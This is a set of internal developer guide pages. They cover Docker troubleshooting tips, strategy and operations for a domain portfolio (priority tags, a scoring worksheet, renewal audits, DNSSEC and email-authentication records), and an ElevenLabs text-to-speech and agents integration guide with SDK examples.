429 Too Many Requests pulling a base image Docker Hub anonymous limit (100/6h per IP, shared across a NAT/CI runner) — docker login in CI (§10)
docker exec -it <ctr> sh fails: exec: "sh": not found A distroless/hardened image has no shell by design (§10) — debug via the -dev variant or docker logs
docker model run is very slow on Windows No supported GPU — AMD64 needs NVIDIA driver 576.57+; otherwise it is CPU inference (§12)
sbx won't start a sandbox (Docker Desktop is fine) sbx uses its own microVM, not WSL 2 — enable Windows Hypervisor Platform and reboot (§13)
Migration races the database on compose up depends_on: service_started only waits for existence — use service_healthy + pre_start (§6)
Secret visible in docker history It was a --build-arg/ENV — use --mount=type=secret instead (§5)
Disk filling up docker system df then docker system prune -af --volumes (deletes unused volumes!)
WSL VM eating RAM Cap it: %UserProfile%\.wslconfig → [wsl2] memory=8GB, then wsl --shutdown
Image huge Use a multi-stage build + -alpine/-slim base; copy only build output into the runner stage

16. codeAmani notes

Official docs:

Domain Portfolio Integration Guide

Technology: domain-portfolio · Category: domains · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/domain-portfolio

Insight:

This is the strategy + operations layer above Porkbun: Porkbun holds the names, this guide says which to build, in what order, how each monetizes, and how to keep the whole portfolio healthy (auto-renew, locks, DNSSEC, DMARC). Treat the catalog as a plan, not an inventory — as of 2026-10-20 most catalog names are still unregistered, so check RDAP before building. Run examples/portfolio-audit.mts monthly; it exits non-zero on a lapsed-renewal risk.

██████╗  ██████╗ ███╗   ███╗ █████╗ ██╗███╗   ██╗
██╔══██╗██╔═══██╗████╗ ████║██╔══██╗██║████╗  ██║
██║  ██║██║   ██║██╔████╔██║███████║██║██╔██╗ ██║
██║  ██║██║   ██║██║╚██╔╝██║██╔══██║██║██║╚██╗██║
██████╔╝╚██████╔╝██║ ╚═╝ ██║██║  ██║██║██║ ╚████║
╚═════╝  ╚═════╝ ╚═╝     ╚═╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝

██████╗  ██████╗ ██████╗ ████████╗███████╗ ██████╗ ██╗     ██╗ ██████╗
██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝██╔════╝██╔═══██╗██║     ██║██╔═══██╗
██████╔╝██║   ██║██████╔╝   ██║   █████╗  ██║   ██║██║     ██║██║   ██║
██╔═══╝ ██║   ██║██╔══██╗   ██║   ██╔══╝  ██║   ██║██║     ██║██║   ██║
██║     ╚██████╔╝██║  ██║   ██║   ██║     ╚██████╔╝███████╗██║╚██████╔╝
╚═╝      ╚═════╝ ╚═╝  ╚═╝   ╚═╝   ╚═╝      ╚═════╝ ╚══════╝╚═╝ ╚═════╝

Domain Portfolio Integration Guide

Focus: Turning codeAmani's domain catalog into build decisions — which name to develop first, how each one earns, and the reusable patterns that repeat across clusters — plus the operational hygiene that keeps owned names from lapsing or being spoofed. porkbun is the registrar layer that holds the names; cloudflare serves DNS for most of the live ones.

Overview

The catalog in this guide lists ~40 candidate names across 12 clusters, plus 8 excluded names. Left as a flat list, that's just a renewal bill. This guide is the source of truth for build prioritization: every name carries a priority tag, sits inside a thematic cluster, and maps to one of a handful of repeatable monetization plays. Use it to answer "should I register X, build it, redirect it, or just hold it?" without re-deriving the strategy each time.

The portfolio is not a tech in the SDK sense — there is no package to install. It's a decision asset plus a short operations playbook. The registrar capability lives in the Porkbun guide and the porkbun-dns skill; the audit script in examples/portfolio-audit.mts checks the whole account in one pass.

Ownership reality check (verified 2026-10-20)

The catalog is a plan, compiled from a planning document (revision 2, 2026-05-29). It is not a list of names codeAmani owns today. On 2026-10-20 we checked every catalog name against registry RDAP and against the Porkbun account (domain/listAll):

Status Count Names
Registered, in codeAmani's Porkbun account 4 verifiedflproviders.org, apdprovidertraining.org, discoverkenya.travel, kenyanschools.org
Registered, but not in the codeAmani Porkbun account 1 promptmastery.academy. Find out who holds it before building.
Unverifiable via RDAP 1 kenyahub.io (.io publishes no RDAP service in the IANA bootstrap)
Unregistered (RDAP 404) 42 Everything else, including floridahome.place, floridahub.place, the exact-match landers, and all the excluded names

The Porkbun account itself holds 39 domains, and most of them are outside this catalog (brand names such as codeamanilabs.org and product names). So, before you act on any row below, run examples/portfolio-audit.mts <name> or an RDAP lookup. An unregistered "Flagship" row is a register now task, not a build task. A good name in the plan can still be taken by someone else.

Official Documentation

Resource URL
Porkbun control panel (where the names live) https://porkbun.com/account/domainsSpeedy
Porkbun API v3 docs (spec v3.63 on 2026-10-20) https://porkbun.com/api/json/v3/documentation
Porkbun OpenAPI spec (JSON) https://porkbun.com/api/json/v3/spec
ICANN RDAP (replaced WHOIS for gTLDs, 28 Jan 2025) https://www.icann.org/rdap
ICANN lookup (RDAP web front end) https://lookup.icann.org/
ICANN Transfer Policy https://www.icann.org/en/contracted-parties/accredited-registrars/resources/domain-name-transfers/policy
Gmail email sender guidelines https://support.google.com/mail/answer/81126
Yahoo sender best practices https://senders.yahooinc.com/best-practices/
Microsoft Outlook.com high-volume sender rules (NDR 5.7.515) https://support.microsoft.com/en-us/outlook/fix-ndr-error-550-5-7-515-in-outlook-com
KeNIC (.ke registry) https://kenic.or.ke/
Source file C:\Users\info\Downloads\domain-portfolio (2).md (revision 2, compiled 2026-05-29)

Priority tags — the decision key

This is the heart of the guide — once you can read the tag, every name tells you what to do next. Here is that decision in one glance:

flowchart TD
  A["Owned domain"] --> Q1{"Which priority tag?"}
  Q1 -->|"Flagship"| B["Build first"]
  Q1 -->|"High"| C["Build soon"]
  Q1 -->|"Medium"| D["Build or park on capacity"]
  Q1 -->|"Defensive"| E["Hold - do not build separately"]
  Q1 -->|"Standalone"| F["Run as separate property"]
  B --> G{"Renewal pricing OK?"}
  C --> G
  D --> G
  G -->|"Yes"| H["Commit and build"]
  G -->|"No"| I["Park or drop"]

Every name carries exactly one tag. The tag is the instruction:

Tag Meaning Action
Flagship Highest confidence and fit Build first
High Strong revenue or strategic value Build soon
Medium Good value Build or park based on capacity
Defensive Blocks a competitor or preserves a redirect Hold — do not build separately
Standalone Legitimate but outside the core professional brand Run as a separate property

Renewal caution: most names are .org, which renews at about $12 (Porkbun: $7.98 to register, $11.84 to renew, pricing/get on 2026-10-20). The elevated TLDs renew far higher: .courses ($31.41), .academy ($43.77), .tech ($50.98), .church ($52.01), and above all .travel ($129.25/yr). .place is a mild step up at $20.08/yr. Several of these went up since the August snapshot (.travel +$10.30, .academy +$6.18, .church +$5.15, .place +$2.06), which is the renewal creep this guide warns about. Check renewal pricing before you commit. A "High" name on a $100+ TLD only stays High if you build it inside its value window.

  1. Florida health umbrella: verifiedflproviders.org + agency subdomains + apdprovidertraining.org. These are the only cluster-1 names registered today.
  2. floridahome.place and floridahub.place: committed in the plan but not registered (RDAP 404 on 2026-10-20). Register them first ($20.08/yr each at Porkbun), then build.
  3. One lead-gen validator: floridacarestaffing.org or flcarinsurancelistings.org, to prove the directory engine. Both are unregistered too, so register the one you pick.
  4. Expand into the remaining clusters. For each name, register it, then build it.

Scoring a property — a worksheet

The priority tags above answer roughly what to do, but "which to build first" still rests on qualitative judgment. When two names both read "High", you need comparable per-property numbers to break the tie. This worksheet turns the tag into a score you compute yourself — one row per domain, same columns every time, so two names sit side by side.

This is a template, not a dataset. The rows below are illustrative placeholders to show the shape — they are not claimed market figures. Fill the real values per domain from your own renewal bill (Porkbun), keyword research, and capacity estimate. Do not treat the example numbers as guidance.

The columns

Column What you enter Scale
Domain The name —
Priority tag From the decision key above Flagship / High / Medium / Defensive / Standalone
Renewal cost (KES/yr) Actual renewal price from Porkbun, in KES number — lower is better
Search intent How commercially hungry the queries are 1 = browse · 3 = research · 5 = ready-to-transact
Monetization path Which of the five plays applies, and how directly it earns 1 = vague · 5 = clear paying customer
Build effort Your capacity cost to ship a real v1 1 = weekend · 5 = multi-month
Priority tag weight Numeric form of the tag, for the formula Flagship 5 · High 4 · Medium 3 · Standalone 2 · Defensive 1

The weighted-score formula

Compute one number per row so the list sorts itself. A worked starting weighting (tune to taste):

score = (intent × 3) + (monetization × 3) + (tag_weight × 2) − (build_effort × 2)

Renewal cost stays out of the additive score on purpose — treat it as a gate, not a slider: if the renewal is above your TLD ceiling and the name isn't already built inside its value window, the row is parked regardless of score (this mirrors the "Renewal pricing OK?" diamond in the decision flow). Higher score = build sooner. The two negative build_effort points keep a tempting-but-expensive build from outranking a fast one with equal earnings.

Example rows — illustrative placeholders, not market figures

Domain Tag Renewal (KES/yr) Intent (1-5) Monetization (1-5) Build effort (1-5) Tag wt Score
example-flagship.org (example) Flagship ~1500 (example) 5 5 3 5 (5×3)+(5×3)+(5×2)−(3×2) = 34
example-highvalue.org (example) High ~1500 (example) 4 4 2 4 (4×3)+(4×3)+(4×2)−(2×2) = 28
example-premium.travel (example) High ~16700 (example) 5 4 4 4 score high, but renewal gate may park it
example-defensive.org (example) Defensive ~1500 (example) 2 1 1 1 (2×3)+(1×3)+(1×2)−(1×2) = 9 — hold, do not build

Read the table top-down: the flagship outscores the high-value name on intent and tag weight; the premium .travel row scores well but trips the renewal gate; the defensive name floors out, confirming it stays a hold. The arithmetic just makes explicit what the tags imply — and surfaces ties the tags alone can't.

The scoring decision in one glance

flowchart TD
  A["Domain to score"] --> B["Fill the row<br/>intent · monetization · effort · tag"]
  B --> C["Compute score<br/>see formula"]
  C --> D{"Renewal under<br/>TLD ceiling?"}
  D -->|"No · not in value window"| E["Park or drop"]
  D -->|"Yes"| F{"Score vs other rows?"}
  F -->|"Highest"| G["Build first"]
  F -->|"Mid"| H["Build soon or on capacity"]
  F -->|"Low · defensive"| I["Hold - do not build"]

Gotcha — renewal creep on premium TLDs. A row's renewal column is not a one-time number. Premium TLDs (.travel, .tech, .church, .academy, .courses) frequently raise renewal pricing year over year, and the first-year promo price is often far below the renewal you'll actually pay (on 2026-10-20 .courses registered at $1.54 but renewed at $31.41, .tech $6.99 → $50.98, .church $6.69 → $52.01, .travel $15.96 → $129.25). Score against the renewal figure, not the registration teaser — and re-enter the renewal column at each annual review, because a name that passed the gate last year can fail it this year without you touching the build. Cheap .org rows, and .place at $20.08 (the same price to register and renew), are nearly immune to this; premium-TLD rows need the number refreshed every cycle.


The five reusable plays

Every domain in the portfolio is an instance of one of these. Learn the play once, apply it across clusters:

Here is the signature umbrella play as a reusable build flow — master this shape and the rest follow naturally:

flowchart LR
  A["Umbrella directory<br/>source of truth"] --> B["Vertical subdomains<br/>apd. dcf. ahca."]
  A --> C["Exact-match landers<br/>apdproviders.org"]
  C -->|"301 redirect"| A
  B --> D["High-intent search capture"]
  C --> D
  D --> E["Lead-gen and verified tiers earn"]
  1. Umbrella + subdomain + exact-match SEO — one source-of-truth directory (verifiedflproviders.org) runs verticals as subdomains (apd., dcf., ahca.) and absorbs exact-match landers (apdproviders.org) via 301 redirect for high-intent search capture.
  2. Directory lead-gen engine — a niche directory monetized through provider lead-gen + featured/verified tiers. Reused from the landscaping model across cleaning, mechanics, business, insurance.
  3. Course / certification info-product — productized expertise with a real backed assessment so the credential is defensible (apdprovidertraining.org, promptmastery.academy, workfromhomecertification.org).
  4. Two-sided marketplace — connects supply and demand, charges both sides (floridacarestaffing.org: providers pay for placements, caregivers pay for premium profiles).
  5. Defensive hold / redirect — owns a variant to block competitors or feed SEO into the primary; never built standalone (supportcoordinators.org, aipromptmastery.academy).

Clusters at a glance

1. Florida Health & Care — crown jewel

The most defensible cluster, backed by real expertise (Pathway Licensing, T&T Serenity Care). verifiedflproviders.org is the umbrella; apd./dcf./ahca. run as subdomains; apdproviders.org/dcfproviders.org/ahcaproviders.org are exact-match landers that redirect in. Training arm: apdprovidertraining.org. Marketplace: floridacarestaffing.org. Premium directory: floridaprivatecare.org. Sleeper distribution channel: waiversupportcoordinators.org (WSCs hold the client relationship).

2. Florida Anchor Platforms — committed builds

floridahome.place (real estate, neighborhood subdomains) and floridahub.place (multi-vertical directory). Neither is registered yet (RDAP 404, 2026-10-20), so register them before anything else. .place costs $20.08/yr to register and the same to renew at Porkbun. That is a mild premium over .org and well inside budget for committed builds.

3. Kenya Market

International/diaspora audiences pay more per visitor, so tourism + education + trade lead. discoverkenya.travel (Flagship, registered, now points at Vercel. Build inside the value window: renewal is $129.25/yr). kenyanschools.org (High, registered, cheap .org, unconditional hold). Plus kenyantrade.com, kenyacraft.shop, kenyafintech.com, kenyahub.io, kenyaheartbeat.com.

4. Federal Contracting & Supplier Diversity

Verified minority/women-owned directories feeding federal set-asides (8(a), WOSB, MBE) and corporate supplier-diversity sourcing. minoritysmbdirectory.org, wosbdirectory.org (federal front door), certifiedwbe.org (corporate front door), fedcontracts.courses (training).

5. Business & Service Directories

The lead-gen engine repeated: flbusinessdirectory.org, cleaningbusinessesdirectory.org, mobilemechanicsdirectory.org, mechanicsdirectory.org, smbdirectory.org.

6. Remote Work & Training

Standalone info-product. Primary: workfromhomecertification.org (highest search volume, cheap .org). Plus workfromhometraining.org, remoteworkcertification.academy.

7. AI Skills Training

Primary: promptmastery.academy (brandable, trademark-clean). aipromptmastery.academy held defensively as an SEO redirect. (Replaces the excluded ChatGPT-trademark name.)

8. Insurance Lead Generation

Auto insurance = highest-paying lead-gen niche. Primary: flcarinsurancelistings.org. State-regulated — confirm Florida lead-generator requirements before selling leads. .com variants held defensively.

9. Web & SaaS Products

instantwebsites.tech — productized subdomain-tenancy offering under MotionStack Studios. Product brand, not a defensible trademark.

10. Community & Networking

entrepreneurnetworking.org — memberships, event tickets, sponsor placements (Tukutane-model fit).

11. Faith & Ministry

faithchristianministries.org (nonprofit/donations) + .church (congregation). Confirm no collision with an established local ministry first.

12. Content & Niche — standalone

horoscopesandzodiacs.org (high-traffic AdSense/affiliate) and affiliatemarketingaggregator.org. Kept separate from the professional brand.


Excluded names — the guardrail

Some names were deliberately dropped for legal/trademark/reputational risk. Re-checking this list prevents re-acquiring a liability:


Portfolio operations

Strategy decides what to build. Operations keep owned names from lapsing, being hijacked, or being spoofed in email. Each item below was checked against live data on 2026-10-20.

Monthly audit: examples/portfolio-audit.mts

The script is read-only and has no dependencies. Node 24 runs .mts directly. With Porkbun keys it walks the whole account through POST /domain/listAll, which returns autoRenew, securityLock, whoisPrivacy and expireDate per domain. Without keys it falls back to public RDAP for the domains you pass in. For every domain it also prices the renewal with pricing/get (no auth needed) and checks DNS over HTTPS: which provider serves the zone, whether DNSSEC is on (a DS record exists), how many SPF records there are, and the DMARC policy.

node domain-portfolio/examples/portfolio-audit.mts --days=60 --ceiling=60   # whole account
node domain-portfolio/examples/portfolio-audit.mts kenyanschools.org         # one name

The two Porkbun keys are secrets. Keep them in .env.local or the secrets vault, never in client code:

PORKBUN_API_KEY=pk1_...
PORKBUN_SECRET_API_KEY=sk1_...
Flag Default Meaning
--days 60 Warn when expiry is within N days. It becomes a BLOCKER at 14 days or fewer
--ceiling 60 USD renewal price above which the row is flagged "re-justify the build"
--no-dns off Skip the DNS-over-HTTPS checks (registrar data only)

The script exits 1 when it finds any BLOCKER (auto-renew off, expiry within 14 days, or duplicate SPF), so it can gate a scheduled CI job. First run, 2026-10-20: 39 domains, an estimated $809.48/yr renewal bill, and 7 domains with auto-renew off. Either turn auto-renew on for those 7 or record a deliberate "drop" decision in portfolio.json. It also found 1 domain without transfer lock, 22 domains with no DMARC record, and only 2 domains with DNSSEC.

Porkbun API facts the script relies on (OpenAPI spec v3.63):

Where DNS actually lives

Don't assume Porkbun serves DNS just because Porkbun is the registrar. On 2026-10-20, 24 of 39 account domains were delegated to Cloudflare nameservers, 8 to Porkbun, 1 to Vercel, and 6 elsewhere. codeamanilabs.org is on Cloudflare (kai/kelly.ns.cloudflare.com). Its apex and thumbs. are proxied by Cloudflare (thumbs. is an R2 custom domain, which requires the zone to be on Cloudflare). tech-stack. is an A record to Vercel's 76.76.21.21. Edit records where the zone is authoritative. A write to the Porkbun DNS of a Cloudflare-delegated domain succeeds and changes nothing, and Porkbun's /dns/preflight flags this as nameservers-ours.

Porkbun also ships a Cloudflare connector (/cloudflare/inventory, /cloudflare/connect). It creates the zone in your own Cloudflare account, copies the records, and repoints the nameservers asynchronously. It skips domains that have live DNSSEC.

DNSSEC

Only 2 of 39 account domains are signed. DNSSEC is cheap insurance against DNS spoofing, but a careless nameserver move with DNSSEC on takes the whole zone offline.

Email authentication on every domain

The rules differ for domains that send mail and domains that never send. Both need records.

Domain role Records Why
Sends mail (via Resend) DKIM resend._domainkey, plus SPF and MX on the send return-path subdomain. Copy all three from the Resend dashboard. Add _dmarc with v=DMARC1; p=none; rua=mailto:…, then move to quarantine and then reject Resend puts SPF on send.<domain> (v=spf1 include:amazonses.com ~all), not on the apex
Never sends (parked, redirect, defensive) Null MX MX 0 . (RFC 7505), apex TXT v=spf1 -all, _dmarc TXT v=DMARC1; p=reject; Stops spoofers from borrowing an idle brand name. This is an industry best practice, not a mailbox-provider rule

Bulk-sender rules. These apply once a domain sends about 5,000 messages a day to a provider's consumer inboxes. Gmail counts all subdomains of the primary domain together, and bulk status never expires.

Provider Requirement Enforcement (verified 2026-10-20)
Gmail SPF and DKIM, a DMARC record (at least p=none) aligned with the From: domain, one-click unsubscribe, spam rate below 0.3% Since Feb 2024. Enforcement "ramping up" from November 2025: 4.7.x rate-limits and 5.7.x rejections
Yahoo SPF and DKIM, DMARC at least p=none (must pass, relaxed alignment OK), RFC 8058 one-click unsubscribe, honor unsubscribes within 2 days, spam rate below 0.3% Since Feb 2024
Microsoft (Outlook.com, Hotmail, Live) SPF and DKIM pass, DMARC at least p=none aligned with SPF or DKIM Rejections with 550 5.7.515 since 5 May 2025

BIMI (your logo in the inbox) needs DMARC at p=quarantine or p=reject with pct=100, an SVG Tiny P/S logo, and a mark certificate. A VMC requires a registered trademark and works in Gmail and Apple Mail. A CMC requires one year of logo use and works in Gmail and Yahoo. Outlook does not show BIMI logos. For a subdomain, the apex domain also needs quarantine or reject. codeamanilabs.org already runs p=quarantine, so it qualifies once it has a certificate.

Transfers, RDAP and the 2026 Transfer Policy


codeAmani notes

Official docs:

ElevenLabs Integration Guide

Technology: eleven-labs · Category: ai · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/eleven-labs

Insight:

ElevenLabs is the voice layer: TTS (Eleven v4 is the new flagship), Scribe v2 speech-to-text, Voice Design / cloning, and ElevenAgents for full voice + chat agents on web, phone and WhatsApp. For Kenya-targeted work the big change is that Swahili TTS lives only in Eleven v4 / v3 — not Multilingual v2 or Flash — and Scribe v2 transcribes Swahili in its "High accuracy" tier. API usage is now billed in USD per 1K characters / per hour / per agent minute. Keep keys server-side, mint short-lived tokens for browsers, and verify every webhook.

███████╗██╗     ███████╗██╗   ██╗███████╗███╗   ██╗██╗      █████╗ ██████╗ ███████╗
██╔════╝██║     ██╔════╝██║   ██║██╔════╝████╗  ██║██║     ██╔══██╗██╔══██╗██╔════╝
█████╗  ██║     █████╗  ██║   ██║█████╗  ██╔██╗ ██║██║     ███████║██████╔╝███████╗
██╔══╝  ██║     ██╔══╝  ╚██╗ ██╔╝██╔══╝  ██║╚██╗██║██║     ██╔══██║██╔══██╗╚════██║
███████╗███████╗███████╗ ╚████╔╝ ███████╗██║ ╚████║███████╗██║  ██║██████╔╝███████║
╚══════╝╚══════╝╚══════╝  ╚═══╝  ╚══════╝╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝╚═════╝ ╚══════╝

ElevenLabs Integration Guide

Focus: Text-to-speech (Eleven v4), speech-to-text (Scribe v2), voices and Voice Design, ElevenAgents (voice + chat agents with tools, knowledge base, phone and WhatsApp), the official MCP server, webhooks, and pricing — via the TypeScript SDK and Claude Code tooling.

Overview

ElevenLabs now ships as three product lines that share one API key and one account:

Line What it covers Pricing page
ElevenAPI TTS, Text to Dialogue, STT (Scribe), Voice Design/cloning, dubbing, voice changer/isolator, sound effects, music https://elevenlabs.io/pricing/api
ElevenAgents (formerly "Conversational AI" / "Agents Platform") Voice + text agents: LLM, tools, knowledge base/RAG, web widget, SDKs, telephony, WhatsApp, tests, analytics https://elevenlabs.io/pricing/agents
ElevenCreative Studio apps (dashboard), credit-based plans https://elevenlabs.io/pricing

The SDK still namespaces agents under client.conversationalAi.* and the REST paths under /v1/convai/* — the rename is branding only.

flowchart LR
  A["App text"] -->|"textToSpeech / textToDialogue"| B["ElevenLabs API"]
  B --> C["Audio (mp3 / pcm / ulaw)"]
  E["User audio / voice note"] -->|"speechToText (scribe_v2)"| B
  B --> F["Transcript"]
  U["Caller / WhatsApp user / web widget"] <-->|"ElevenAgents<br/>ASR + LLM + TTS + turn-taking"| B
  B -->|"server tools"| T["Your HTTPS API"]
  B -->|"post-call webhook"| W["Your webhook route"]

Official Documentation

Resource URL
Docs home https://elevenlabs.io/docs/overview/intro
Models (IDs, languages, limits, concurrency) https://elevenlabs.io/docs/overview/models
API reference https://elevenlabs.io/docs/api-reference/introduction
ElevenAgents https://elevenlabs.io/docs/eleven-agents/overview
Hosted MCP https://elevenlabs.io/docs/eleven-agents/operate/hosted-mcp
Webhooks https://elevenlabs.io/docs/eleven-api/resources/webhooks
Changelog (weekly) https://elevenlabs.io/docs/changelog
Any docs page as Markdown append .md to the URL; full index at https://elevenlabs.io/docs/sitemap-en.xml

Versions (verified 2026-10-20)

Package Registry Version Notes
@elevenlabs/elevenlabs-js npm 2.73.0 Server SDK (Node ≥ 18). Bare elevenlabs npm pkg is deprecated.
@elevenlabs/react npm 1.18.0 Agent + Scribe hooks; re-exports @elevenlabs/client.
@elevenlabs/client npm 1.28.0 Framework-agnostic browser client (agents, Scribe realtime).
@elevenlabs/react-native npm 1.2.30 Mobile agents.
@elevenlabs/cli npm 1.6.1 elevenlabs CLI — agents-as-code (agents push/pull, tests, branches).
elevenlabs PyPI 2.73.1 Python SDK (Python ≥ 3.8).
elevenlabs-mcp PyPI 0.12.2 Local MCP server — repo archived 2026-08-20; prefer hosted MCP.

There is no @elevenlabs/elevenlabs-mcp npm package (404).


MCP Server Setup

The official server is remote at https://api.elevenlabs.io/v1/mcp and authenticates with OAuth (no API key in config). It is also listed in Claude's connector directory as ElevenLabs.

# Claude Code — streamable HTTP; completes OAuth on first connect
claude mcp add --transport http elevenlabs https://api.elevenlabs.io/v1/mcp
Region (isolated data residency workspace) MCP URL
Global (default) https://api.elevenlabs.io/v1/mcp
EU https://api.eu.residency.elevenlabs.io/v1/mcp
India https://api.in.residency.elevenlabs.io/v1/mcp
Singapore https://api.sg.residency.elevenlabs.io/v1/mcp

What it can do (per docs): create/update/duplicate/delete agents; read conversations and transcripts and search them; manage procedures, tools, MCP servers, knowledge-base documents; create/run tests; branches, drafts, deployments, merge proposals; triage tickets; estimate LLM cost; get widget config/link; and generate speech (returned as a short-lived download link). The claude.ai connector in this workspace also exposes creative_* tools (image/video/speech generation, voice design, transcription) — these spend credits.

Gotcha: updates made through the MCP server publish directly (to main or the targeted branch) — they are not staged as drafts. Keep "ask before running" on write tools in your client, and restrict who can connect.

Self-hosted (legacy)

uvx elevenlabs-mcp (PyPI elevenlabs-mcp, needs uv) still installs, but the GitHub repo was archived on 2026-08-20 and gets no updates. Only use it if you need offline creative tools without OAuth.

// .mcp.json — legacy local server
{
  "mcpServers": {
    "elevenlabs": {
      "command": "uvx",
      "args": ["elevenlabs-mcp"],
      "env": { "ELEVENLABS_API_KEY": "${ELEVENLABS_API_KEY}" }
    }
  }
}

SDK Setup

npm install @elevenlabs/elevenlabs-js@2.73.0        # server
npm install @elevenlabs/react@1.18.0                # browser agents / Scribe (optional)
pip install elevenlabs==2.73.1                      # Python
import { ElevenLabsClient } from "@elevenlabs/elevenlabs-js";

// Server-only. Omitting apiKey reads ELEVENLABS_API_KEY from the environment.
const client = new ElevenLabsClient({
  apiKey: process.env.ELEVENLABS_API_KEY,
  timeoutInSeconds: 60,
  maxRetries: 2,
});
import os
from elevenlabs.client import ElevenLabs

client = ElevenLabs(api_key=os.environ["ELEVENLABS_API_KEY"])

SDK conventions: camelCase request fields in TS (modelId, outputFormat, voiceSettings.similarityBoost); response fields are camelCase too (voice.voiceId, cloned.voiceId, result.languageCode). TTS methods return a web ReadableStream<Uint8Array>.


Models (verified 2026-10-20)

Text to Speech

Model ID Use Languages Latency Char limit API price
eleven_v4 New flagship (GA 2026-09-28): most expressive, best cloning, audio tags 90+ incl. Swahili — 10,000 $0.08 / 1K chars
eleven_v4_turbo Realtime v4 — agents & interactive; ElevenAgents default TTS 90+ incl. Swahili ~100 ms — $0.04 / 1K chars
eleven_v3 Previous expressive gen; Text to Dialogue 70+ incl. Swahili — 5,000 $0.08 / 1K
eleven_v3_conversational Previous realtime expressive 70+ incl. Swahili ~280 ms — $0.04 / 1K
eleven_multilingual_v2 Stable long-form; API default model_id 29 (no Swahili) — 10,000 $0.08 / 1K
eleven_flash_v2_5 Cheapest/fastest bulk + realtime 32 (no Swahili) ~75 ms 40,000 $0.04 / 1K
eleven_flash_v2 English-only fast en ~75 ms 30,000 $0.04 / 1K

Deprecated: eleven_turbo_v2_5 → eleven_flash_v2_5; eleven_turbo_v2 → eleven_flash_v2; scribe_v1 → scribe_v2. optimize_streaming_latency is deprecated (no-op) — pick a faster model instead.

Eleven v4 notes: only Stability and Similarity settings (no Style/Speed sliders, no SSML); audio tags like [whispering], [laughing]; when the target language differs from the cloned voice's language, v4 speaks it with a native accent (a deliberate change — test before migrating dubbing/voice-agent flows).

Speech to Text

Model ID Use Price
scribe_v2 Batch STT, 90+ langs, diarization (32 speakers), keyterms (≤1000), entity detection/redaction, transcript editing $0.22 / hour
scribe_v2_realtime Streaming STT ~150 ms, VAD, manual commit $0.39 / hour
scribe_v2_medical Clinical batch STT (GA 2026-09-11), HIPAA-eligible with BAA (Enterprise) $0.22 / hour

Add-ons: keyterm prompting +$0.05/h (realtime +$0.08/h); transcript editing +$0.07/h (realtime +$0.12/h).

Other model IDs you may meet: eleven_ttv_v3 / eleven_multilingual_ttv_v2 (Voice Design), eleven_multilingual_sts_v2 (voice changer), eleven_text_to_sound_v2, music_v2_5.


Swahili / Kenya support status (codeAmani)

Capability Status (docs, 2026-10-20)
TTS eleven_v4, eleven_v4_turbo, eleven_v3, eleven_v3_conversational list Swahili (sw). eleven_multilingual_v2 and eleven_flash_v2_5 do not — the previous guide's "use multilingual_v2 for Swahili" advice was wrong.
STT Scribe v2 lists Swahili (swa) in the "High accuracy" tier (>5% to ≤10% WER). language_code accepts ISO 639-1 or 639-3. Leave it unset to auto-detect Sheng/English code-switching.
v4 also covers Amharic, Somali, Luganda, Hausa, Yoruba, Shona, Lingala, Wolof, Fula — useful for wider East/West African reach.
ElevenAgents Default TTS is now eleven_v4_turbo (Swahili-capable), but the agent language docs still describe a 31-language "Additional languages" list based on older models. Whether language: "sw" is accepted as an agent language is unverified — test in the dashboard before promising Swahili voice agents.
WhatsApp agents Inbound voice notes are transcribed and the agent can reply with voice notes "in any voice, any language".

codeAmani's Swahili-AI R&D report still gates any voice rollout on a TTS MOS eval (see research-and-development/). Candidates to benchmark now: eleven_v4 vs eleven_v3 (quality) and eleven_v4_turbo (agents). Text-first (WhatsApp + M-Pesa) remains Phase 1.


Core Patterns

Text-to-Speech (buffered and streaming)

const audio = await client.textToSpeech.convert("JBFqnCBsd6RMkjVDRZzb", {
  text: "Karibu! Hii ni sauti yako mpya kwenye codeAmani.",
  modelId: "eleven_v4", // Swahili-capable
  outputFormat: "mp3_44100_128",
  voiceSettings: { stability: 0.5, similarityBoost: 0.75 },
});
const bytes = Buffer.from(await new Response(audio).arrayBuffer());

JBFqnCBsd6RMkjVDRZzb is "George" (the voice the official quickstart uses) — not "Rachel" as the old guide said. Full routes: examples/tts.ts (buffered) and examples/stream.ts (textToSpeech.stream, piped straight into a Response).

Text to Dialogue (multi-speaker, Eleven v4)

client.textToDialogue.convert({ modelId: "eleven_v4", inputs: [{ text, voiceId }, …] }) — keep the sum of inputs[].text ≤ 2,000 chars per request. Realtime dialogue uses eleven_v4_turbo over the Text to Dialogue WebSocket (metered as sessions, closed after 20 s idle unless you send keep_alive). See examples/v4-dialogue-and-voice-design.mts.

Voices

// GET /v2/voices — paginated search (getAll() is legacy)
const { voices } = await client.voices.search({ search: "swahili", pageSize: 20 });
for (const voice of voices) {
  console.log(voice.voiceId, voice.name, voice.labels?.language ?? "multi");
}

Voice Design (describe → preview → save)

client.textToVoice.design({ modelId: "eleven_ttv_v3", voiceDescription, text }) returns previews[] (generatedVoiceId, audioBase64); save one with client.textToVoice.create({ voiceName, voiceDescription, generatedVoiceId }). Each saved voice uses a custom-voice slot (Free has 3 slots, Voice Design only). Docs warn Voice Design voices "may not be as performative" on Eleven v4.

Voice cloning (IVC)

import { createReadStream } from "node:fs";

const cloned = await client.voices.ivc.create({
  name: "codeAmani Brand Voice",
  files: [createReadStream("samples/sample-1.mp3"), createReadStream("samples/sample-2.mp3")],
});
const voiceId = cloned.voiceId; // persist in your DB
console.log(cloned.requiresVerification);

Cloning needs Starter or above. Eleven v4 reproduces the source including its flaws (noise, plosives, loudness) — 1–2 minutes of clean single-speaker audio, one speaking style. Professional Voice Clones (PVC) can be fine-tuned on v4 from My Voices.

Consent: only clone voices you have explicit, recorded permission for (ElevenLabs ToS; KDPA 2019 treats voice as personal/biometric data on Kenya-targeted projects).

Speech-to-Text (Scribe v2)

const transcription = await client.speechToText.convert({
  file: createReadStream("recording.mp3"),
  modelId: "scribe_v2",
  languageCode: "sw", // or omit to auto-detect
});
console.log(transcription.text);

Long files: pass sourceUrl + webhook: true (+ webhookMetadata) and receive the result on your webhook (examples/stt-voice-note.ts). Browsers: mint a single-use token (POST /v1/single-use-token/..., 15-min expiry) and use useScribe() from @elevenlabs/react for realtime.


ElevenAgents (voice + chat agents)

